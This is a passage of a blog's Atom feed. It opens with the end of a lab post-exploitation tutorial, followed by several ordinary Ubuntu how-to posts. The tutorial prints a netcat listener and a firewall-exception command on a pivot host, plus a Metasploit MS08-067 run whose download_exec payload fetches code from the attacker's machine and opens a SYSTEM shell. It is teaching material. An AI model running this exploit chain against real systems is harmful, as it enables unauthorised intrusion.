vminst.log_20100610_110602.log&lt;br /&gt;09/24/2010  12:47 PM            45,686 vminst.log_20100924_124718.log&lt;br /&gt;09/28/2010  04:41 PM            45,537 vminst.log_20100928_164134.log&lt;br /&gt;11/29/2010  03:53 PM            45,537 vminst.log_20101129_155316.log&lt;br /&gt;10/23/2009  07:30 PM         2,573,050 vmmsi.log_20091023_193054.log&lt;br /&gt;10/23/2009  07:30 PM         2,573,050 vmmsi.log_20091023_193054_Failed.log&lt;br /&gt;06/10/2010  11:06 AM         2,958,144 vmmsi.log_20100610_110601.log&lt;br /&gt;09/24/2010  12:47 PM         3,008,988 vmmsi.log_20100924_124718.log&lt;br /&gt;09/28/2010  04:41 PM         2,960,554 vmmsi.log_20100928_164134.log&lt;br /&gt;11/29/2010  03:53 PM         2,958,778 vmmsi.log_20101129_155316.log&lt;br /&gt;11/29/2010  03:54 PM    &amp;lt;DIR&amp;gt;          VMwareDnD&lt;br /&gt;18 File(s)     17,424,123 bytes&lt;br /&gt;3 Dir(s)  40,819,601,408 bytes free&lt;br /&gt;&lt;br /&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;start /b netcat.exe -nlvp 80 &lt;&gt;listening on [any] 80 ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkJcKXLljT0Vu0pRYgajxTQENYjC68WHZdWYpmPGqVJEa1rR5U4Pg75qcq4a_Bm111_uLfN3m-_QVBgl-SqzL4h7p6Z-5r9-7E9LzIRXUIYJ1H4YUkRJcEjR0cpscUimPjEgdv_wLLPjw/s1600/pic5.JPG&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 216px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkJcKXLljT0Vu0pRYgajxTQENYjC68WHZdWYpmPGqVJEa1rR5U4Pg75qcq4a_Bm111_uLfN3m-_QVBgl-SqzL4h7p6Z-5r9-7E9LzIRXUIYJ1H4YUkRJcEjR0cpscUimPjEgdv_wLLPjw/s400/pic5.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546930254416923426&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Oops. Looks like somebody is interfering with our business.&lt;br /&gt;The firewall on pivot machine may interfere to open a port on listening mode.&lt;br /&gt;But, we got access of this machine and here is how we can add an exception in firewall...&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;netsh firewall set portopening tcp 80 nc enable all&lt;br /&gt;netsh firewall set portopening tcp 80 nc enable all&lt;br /&gt;Ok.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Ok. So now we were able to open port number 80 and enabled it for listening mode.&lt;br /&gt;Alright, so let&#39;s run &lt;span style=&quot;font-style: italic;&quot;&gt;netcat&lt;/span&gt; as we had done once again.&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;start /b netcat.exe -nlvp 80 &lt;&gt;listening on [any] 80 ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;exit&lt;br /&gt;exit&lt;br /&gt;^C&lt;br /&gt;Terminate channel 9? [y/N]  y&lt;br /&gt;meterpreter &gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;All set. Now set the parameters and run ms08_067 for machine B...&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;meterpreter &gt; background&lt;br /&gt;msf exploit(handler) &gt; use exploit/windows/smb/ms08_067_netapi&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name     Current Setting  Required  Description&lt;br /&gt;----     ---------------  --------  -----------&lt;br /&gt;RHOST                     yes       The target address&lt;br /&gt;RPORT    445              yes       Set the SMB service port&lt;br /&gt;SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name&lt;br /&gt;--  ----&lt;br /&gt;0   Automatic Targeting&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set RHOST 192.168.74.129&lt;br /&gt;RHOST =&gt; 192.168.74.129&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set PAYLOAD windows/download_exec&lt;br /&gt;PAYLOAD =&gt; windows/download_exec&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; set URL http://192.168.74.128/&lt;br /&gt;URL =&gt; http://192.168.74.128/&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; show options&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name     Current Setting  Required  Description&lt;br /&gt;----     ---------------  --------  -----------&lt;br /&gt;RHOST    192.168.74.129   yes       The target address&lt;br /&gt;RPORT    445              yes       Set the SMB service port&lt;br /&gt;SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/download_exec):&lt;br /&gt;&lt;br /&gt;Name  Current Setting         Required  Description&lt;br /&gt;----  ---------------         --------  -----------&lt;br /&gt;URL   http://192.168.74.128/  yes       The pre-encoded URL to the executable&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name&lt;br /&gt;--  ----&lt;br /&gt;0   Automatic Targeting&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; exploit -j&lt;br /&gt;[*] Exploit running as background job.&lt;br /&gt;msf exploit(ms08_067_netapi) &gt;&lt;br /&gt;[*] Automatically detecting the target...&lt;br /&gt;[*] Fingerprint: Windows XP Service Pack 2 - lang:English&lt;br /&gt;[*] Selected Target: Windows XP SP2 English (NX)&lt;br /&gt;[*] Attempting to trigger the vulnerability...&lt;br /&gt;[*] 172.16.24.1:36593 Request received for /Af4IZ...&lt;br /&gt;[*] 172.16.24.1:36593 Staging connection for target f4IZ received...&lt;br /&gt;[*] Patching Target ID f4IZ into DLL&lt;br /&gt;[*] 172.16.24.1:45245 Request received for /Bf4IZ...&lt;br /&gt;[*] 172.16.24.1:45245 Stage connection for target f4IZ received...&lt;br /&gt;[*] Meterpreter session 2 opened (172.16.24.130:443 -&gt; 172.16.24.1:45245) at 2010-12-04 20:57:45 +0000&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Here we go...&lt;br /&gt;As we can see, the exploit was successful and it opened meterpreter session 2 connecting back to the attacker&#39;s machine.&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;msf exploit(ms08_067_netapi) &gt; sessions -l&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;Id  Type                   Information                  Connection&lt;br /&gt;--  ----                   -----------                  ----------&lt;br /&gt;1   meterpreter x86/win32  WINXP\user @ WINXP           172.16.24.130:443 -&gt; 172.16.24.1:46715&lt;br /&gt;2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WINXP  172.16.24.130:443 -&gt; 172.16.24.1:45245&lt;br /&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; sessions -i 2&lt;br /&gt;[*] Starting interaction with 2...&lt;br /&gt;&lt;br /&gt;meterpreter &gt; ipconfig&lt;br /&gt;&lt;br /&gt;MS TCP Loopback interface&lt;br /&gt;Hardware MAC: 00:00:00:00:00:00&lt;br /&gt;IP Address  : 127.0.0.1&lt;br /&gt;Netmask     : 255.0.0.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AMD PCNET Family PCI Ethernet Adapter #3 - Packet Scheduler Miniport&lt;br /&gt;Hardware MAC: 00:0c:29:7e:bd:74&lt;br /&gt;IP Address  : 192.168.74.129&lt;br /&gt;Netmask     : 255.255.255.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT_COAFC5smzrNcRZjeowD0-mqyzPsc0F7ucGimMZFrx8HGFOfqlqambVe6cpnK6geRRFIQ6UPKCUUDUnmF6x4V8lyo2jl_yfCEgH4-JxZ2TkeQxtGWzc7_1QRZRG7XrV0OLvs0aD4ABo/s1600/pic4.JPG&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 233px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT_COAFC5smzrNcRZjeowD0-mqyzPsc0F7ucGimMZFrx8HGFOfqlqambVe6cpnK6geRRFIQ6UPKCUUDUnmF6x4V8lyo2jl_yfCEgH4-JxZ2TkeQxtGWzc7_1QRZRG7XrV0OLvs0aD4ABo/s400/pic4.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546936556731426898&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/6442236137797371300/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/11/nu-delhi-presentations-post.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6442236137797371300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/6442236137797371300'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/11/nu-delhi-presentations-post.html' title='[n|u Delhi Presentations] Post exploitation techniques...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ZZonaF-syyCEijl12EUrxYcJiuo4tpmPwPA-DL-LG1NCEuTFHtH8BM7lXHcXWImRC1taS3E0f5DAhCEL_XQPlbVLMrd-4y3YzEnbC1NkaNeOa_0A5zzhuXW1q5uqAPShU19wbHOAZDI/s72-c/pic1.JPG" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-7647987909009589660</id><published>2010-11-18T15:13:00.003+05:30</published><updated>2011-05-16T15:04:39.585+05:30</updated><title type='text'>SSH to server without any password...</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;You want the access of SSH server and don&#39;t wish to enter password all the times while connecting to the server. This can be the case someone using &lt;a href=&quot;http://en.wikipedia.org/wiki/Secure_copy&quot;&gt;&lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;scp&lt;/span&gt;&lt;/a&gt; very frequently to copy multiple files from server to client or vice versa.&lt;br /&gt;
&lt;br /&gt;
&lt;u style=&quot;font-weight: bold;&quot;&gt;Scenario:&lt;/u&gt; User &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;a&lt;/span&gt; on host &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;A&lt;/span&gt;(client) want to access host &lt;span style=&quot;font-style: italic; font-weight: bold;&quot;&gt;B&lt;/span&gt;(server) having SSH server(OpenSSH) running on it&lt;span style=&quot;font-style: italic;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;, &lt;/span&gt;&lt;/span&gt;with access-without-password feature. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;u span=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;Steps:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;a@ubuntu_A:~$ ssh-keygen -t rsa
a@ubuntu_A:~$ ssh b@ubuntu_B mkdir -p .ssh
a@ubuntu_A:~$ cat .ssh/id_rsa.pub | ssh b@ubuntu_B &#39;cat &amp;gt;&amp;gt; .ssh/authorized_keys2&#39;
b@ubuntu_B&#39;s password:
a@ubuntu_A:~$
a@ubuntu_A:~$ ssh b@ubuntu_B

Last login: Thu Nov 18 09:48:06 2010 from 192.168.1.102
b@ubuntu_B:~$
&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
OR&lt;br /&gt;
&lt;br /&gt;
Just came across this alternative...check this out:&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;a@ubuntu_A:~$ ssh-copy-id b@ubuntu_B
b@ubuntu_B&#39;s password:
a@ubuntu_A:~$ ssh b@ubuntu_B

Last login: Thu Nov 18 09:48:06 2010 from 192.168.1.102
b@ubuntu_B:~$
&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;u span=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;References:&lt;/u&gt;&lt;br /&gt;
&lt;a href=&quot;http://linuxproblem.org/art_9.html&quot;&gt;http://linuxproblem.org/art_9.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.csua.berkeley.edu/%7Eranga/notes/ssh_nopass.html&quot;&gt;http://www.csua.berkeley.edu/~ranga/notes/ssh_nopass.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
..............Done!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/7647987909009589660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/11/ssh-to-server-without-any-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7647987909009589660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7647987909009589660'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/11/ssh-to-server-without-any-password.html' title='SSH to server without any password...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-7425099312877964209</id><published>2010-09-27T17:25:00.002+05:30</published><updated>2010-09-27T17:44:17.719+05:30</updated><title type='text'>Install 32 bit application on 64 bit Ubuntu...</title><content type='html'>There can be requirement in many cases, when you want to install some 32 bit applications on 64 bit OS environment.&lt;br /&gt;I faced this problem, when I had to install GoogleEarth for my Ubuntu Lucid Lynx 64 bit OS.&lt;br /&gt;&lt;br /&gt;&lt;table width=&quot;700px&quot; bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;ubuntu@localhost:~$ sudo ./GoogleEarthLinux-5.1.bin&lt;br /&gt;[sudo] password for ubuntu:&lt;br /&gt;Verifying archive integrity... All good.&lt;br /&gt;Uncompressing Google Earth for GNU/Linux 5.1.3535.3218...............................................................&lt;br /&gt;setup.data/bin/Linux/amd64/setup.gtk2: error while loading shared libraries: libxml2.so.2: cannot open shared object file: No such file or directory&lt;br /&gt;setup.data/bin/Linux/amd64/setup.gtk: error while loading shared libraries: libSM.so.6: cannot open shared object file: No such file or directory&lt;br /&gt;The setup program seems to have failed on amd64&lt;br /&gt;&lt;br /&gt;Fatal error, installer failed to run at all!&lt;br /&gt;ubuntu@localhost:~$&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;So, to achieve this, all you need to do is install ia32-libs, and we are good to go.&lt;br /&gt;&lt;br /&gt;&lt;table width=&quot;700px&quot; bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;ubuntu@localhost:~$ sudo apt-get install ia32-libs&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;There are other ways though, to make 32 bit applications run on 64 bit OS.&lt;br /&gt;&lt;a href=&quot;https://help.ubuntu.com/community/32bit_and_64bit&quot;&gt;Refer this link for more options&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/7425099312877964209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/09/install-32-bit-application-on-64-bit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7425099312877964209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7425099312877964209'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/09/install-32-bit-application-on-64-bit.html' title='Install 32 bit application on 64 bit Ubuntu...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-4817232871487134397</id><published>2010-09-21T15:16:00.003+05:30</published><updated>2010-09-22T23:28:36.205+05:30</updated><title type='text'>[Howto] Install Origami on Ubuntu...</title><content type='html'>&lt;a href=&quot;http://www.security-labs.org/origami&quot;&gt;Origami&lt;/a&gt; : parser, analyzer for PDF documents.&lt;br /&gt;Install ruby and required dependencies, all-in-one command...&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;ubuntu@localhost:~$ sudo apt-get install ruby libgtk2-ruby libopenssl-ruby libssl-dev openssl&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/4817232871487134397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/09/howto-install-origami-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/4817232871487134397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/4817232871487134397'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/09/howto-install-origami-on-ubuntu.html' title='[Howto] Install Origami on Ubuntu...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-8742719636551453645</id><published>2010-07-12T12:24:00.002+05:30</published><updated>2010-07-12T13:03:14.377+05:30</updated><title type='text'>Share folders in Ubuntu server using through CLI...</title><content type='html'>Change the samba configuration file located at  &lt;b&gt;/etc/samba/&lt;span class=&quot;il&quot;&gt;smb&lt;/span&gt;.conf &lt;/b&gt;as follows...&lt;br /&gt;i. For authentication-based-access, append...&lt;br /&gt;&lt;pre&gt;[private]&lt;br /&gt;     comment = Private Share&lt;br /&gt;     path =  /tmp/pri-share&lt;br /&gt;     browseable = no&lt;br /&gt;     read only = no&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;ii. For anonymous-read-only access&lt;br /&gt;&lt;pre&gt;[public]&lt;br /&gt;      comment = Public Share&lt;br /&gt;      path = /tmp/pub-share&lt;br /&gt;      read only = no&lt;br /&gt;      guest only = yes&lt;br /&gt;      guest ok = yes&lt;br /&gt;&lt;/pre&gt;Be sure, while accessing the shares from either windows or linux box, you are using &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;private&lt;/span&gt;&#39; of &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;public&lt;/span&gt;&#39; as share names instead &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;pri-share&lt;/span&gt;&#39; and &#39;&lt;span style=&quot;font-weight: bold;&quot;&gt;pub-share&lt;/span&gt;&#39;.&lt;br /&gt;&lt;br /&gt;e.g. \\192.168.1.10\private&lt;br /&gt;       smb://192.168.1.10/private&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/8742719636551453645/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/07/share-folders-in-ubuntu-server-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/8742719636551453645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/8742719636551453645'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/07/share-folders-in-ubuntu-server-using.html' title='Share folders in Ubuntu server using through CLI...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-5248388021456382490</id><published>2010-07-06T01:18:00.002+05:30</published><updated>2010-07-06T01:24:54.026+05:30</updated><title type='text'>Python tools for penetration testers...</title><content type='html'>Found this list(in a blogpost by Dirk Loss) very interesting which may help a pen-tester...&lt;br /&gt;Enjoy...&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://dirk-loss.de/python-tools.htm&quot;&gt;http://dirk-loss.de/python-tools.htm&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/5248388021456382490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/07/python-tools-for-penetration-testers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/5248388021456382490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/5248388021456382490'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/07/python-tools-for-penetration-testers.html' title='Python tools for penetration testers...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-1865267818193754250</id><published>2010-06-24T11:39:00.004+05:30</published><updated>2010-06-24T19:06:13.388+05:30</updated><title type='text'>Install Apache, PHP and MySQL(all in one shot), on Ubuntu server...</title><content type='html'>This will help you make setup an Ubuntu server and make it work as LAMP(L-Linux, A-Apache, M-MySQL and P-PHP). So, follow the steps:&lt;br /&gt;&lt;br /&gt;1. For PHP5, install apache, mysql and php5 alongside the necessary modules with following single line command.&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;root@localhost:~# apt-get install apache2 php5 libapache2-mod-php5&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;root@localhost:~# apt-get install mysql-server mysql-client libapache2-mod-auth-mysql php5-mysql&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;2. For PHP4...&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;root@localhost:~# apt-get install apache2 php4 libapache2-mod-php4&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;root@localhost:~# apt-get install mysql-server mysql-client libapache2-mod-auth-mysql php4-mysql&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/1865267818193754250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2010/06/install-apache-php-and-mysqlall-in-one.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1865267818193754250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1865267818193754250'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2010/06/install-apache-php-and-mysqlall-in-one.html' title='Install Apache, PHP and MySQL(all in one shot), on Ubuntu server...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-7771734946719579214</id><published>2010-06-01T18:23:00.002+05:30</published><updated>2010-06-01T18:33:37.240+05:30</updated><title type='text'>Add script to run at bootup in Ubuntu...</title><content type='html'>Steps as follows:&lt;br /&gt;1. First of all, give your script-file executable permissions.&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;user@localhost:~$ chmod +x script-file.sh&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br 